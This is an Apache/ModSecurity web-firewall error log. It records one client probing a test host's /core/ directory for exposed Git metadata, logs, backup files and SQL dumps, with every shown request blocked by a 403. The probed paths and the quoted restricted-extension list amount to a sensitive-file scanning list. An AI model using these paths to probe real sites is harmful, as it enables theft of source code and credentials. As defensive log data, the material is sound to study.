[Sun Mar 22 01:06:20.614441 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiwAAAAc&quot;]
[Sun Mar 22 01:06:20.614631 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiwAAAAc&quot;]
[Sun Mar 22 01:06:20.614759 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xViiwAAAAc&quot;]
[Sun Mar 22 01:06:20.636682 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijAAAAAc&quot;]
[Sun Mar 22 01:06:20.636867 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijAAAAAc&quot;]
[Sun Mar 22 01:06:20.637012 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijAAAAAc&quot;]
[Sun Mar 22 01:06:20.659035 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijQAAAAc&quot;]
[Sun Mar 22 01:06:20.659228 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijQAAAAc&quot;]
[Sun Mar 22 01:06:20.659360 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijQAAAAc&quot;]
[Sun Mar 22 01:06:20.681327 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijgAAAAc&quot;]
[Sun Mar 22 01:06:20.681510 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijgAAAAc&quot;]
[Sun Mar 22 01:06:20.681641 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/logs/HEAD&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijgAAAAc&quot;]
[Sun Mar 22 01:06:20.703562 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /core/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijwAAAAc&quot;]
[Sun Mar 22 01:06:20.703742 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijwAAAAc&quot;]
[Sun Mar 22 01:06:20.703870 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.gitignore&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVijwAAAAc&quot;]
[Sun Mar 22 01:06:20.726334 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikAAAAAc&quot;]
[Sun Mar 22 01:06:20.726731 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikAAAAAc&quot;]
[Sun Mar 22 01:06:20.726861 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/access.log&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikAAAAAc&quot;]
[Sun Mar 22 01:06:20.770919 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikgAAAAc&quot;]
[Sun Mar 22 01:06:20.771283 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikgAAAAc&quot;]
[Sun Mar 22 01:06:20.771407 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app.js.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikgAAAAc&quot;]
[Sun Mar 22 01:06:20.793099 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikwAAAAc&quot;]
[Sun Mar 22 01:06:20.793474 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikwAAAAc&quot;]
[Sun Mar 22 01:06:20.793605 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/backup.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVikwAAAAc&quot;]
[Sun Mar 22 01:06:20.928236 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimQAAAAc&quot;]
[Sun Mar 22 01:06:20.928641 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimQAAAAc&quot;]
[Sun Mar 22 01:06:20.928775 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.php.bak&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimQAAAAc&quot;]
[Sun Mar 22 01:06:20.973332 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimwAAAAc&quot;]
[Sun Mar 22 01:06:20.973741 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimwAAAAc&quot;]
[Sun Mar 22 01:06:20.973891 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/db.sql&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVimwAAAAc&quot;]
